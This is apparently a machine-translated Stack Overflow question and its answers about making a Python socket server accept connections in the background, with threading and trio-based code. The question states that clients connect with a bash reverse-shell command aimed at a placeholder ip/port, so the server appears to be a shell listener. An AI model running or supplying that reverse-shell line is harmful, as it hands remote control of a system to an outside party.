我有一个服务器,它接受来自客户端的连接请求。客户端使用以下命令发送连接请求:bash -i > /dev/tcp/ip/port 0<&1 1>&1
。我希望服务器立即接受新的连接请求并将其记录到控制台,但我不知道如何。在下面的代码中有while循环。如我们所见,command_accept()需要完成自身才能使client_accept()启动。这意味着我总是需要传递一些命令来接受新的客户端请求。我需要client_accept()始终在后台运行。
我试图为输入设置时间限制,但这不是我需要的解决方案。我也不确定异步编程是否尝试了不同的库。
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
预期结果:我没有将任何内容传递给command_accept的输入,但是如果新客户端发送了请求,则服务器将立即接受它并打印类似地址为127.0.0.1:45431的新客户端[ID 1]。 / p>
答案 0 :(得分:0)
尝试使用socket.io和Threading进行此操作,因此,如果套接字发生ON_CONNECT事件,则只需将信息推送到列表中,然后将其打印到控制台即可。
答案 1 :(得分:0)
作为实验trio异步库的借口,我将您的代码移植到了该库中
首先为客户端连接定义一个简单的类,并跟踪它们的代码:
from sys import stderr
from itertools import count
class Client:
def __init__(self, stream):
self.stream = stream
async def run(self):
lines = LineReader(self.stream)
while True:
line = (await lines.readline()).decode('ascii')
if not line or line.strip().casefold() in {'quit', 'exit'}:
await self.stream.send_all(b'bye!\r\n')
break
resp = f'got {line!r}'
await self.stream.send_all(resp.encode('ascii') + b'\r\n')
CLIENT_COUNTER = count()
CLIENTS = {}
async def handle_client(stream):
client_id = next(CLIENT_COUNTER)
client = Client(stream)
async with stream:
CLIENTS[client_id] = client
try:
await client.run()
except Exception as err:
print('client failed', err, file=stderr)
finally:
del CLIENTS[client_id]
LineReader
来自这里:https://stackoverflow.com/a/53576829/1358308
接下来,我们可以定义服务器标准输入处理:
async def handle_local(nursery):
while True:
try:
command = await async_input('server > ')
except EOFError:
command = 'exit'
if command == 'exit':
nursery.cancel_scope.cancel()
elif command == 'list':
for id, client in CLIENTS.items():
print(id, client.stream.socket.getpeername())
else:
print(f'unknown command {command!r}')
签出info about nurseries的文档
这使用实用程序功能将input
包装成async
function。
import trio
async def async_input(prompt=None):
return await trio.run_sync_in_worker_thread(
input, prompt, cancellable=True)
然后我们定义将所有部分捆绑在一起的代码:
SERVE_HOST = 'localhost'
SERVE_PORT = 1344
async def async_main():
async with trio.open_nursery() as nursery:
nursery.start_soon(handle_local, nursery)
await trio.serve_tcp(
handle_client,
port=SERVE_PORT, host=SERVE_HOST,
handler_nursery=nursery)
trio.run(async_main)
更多链接/参考(由三人的作者撰写):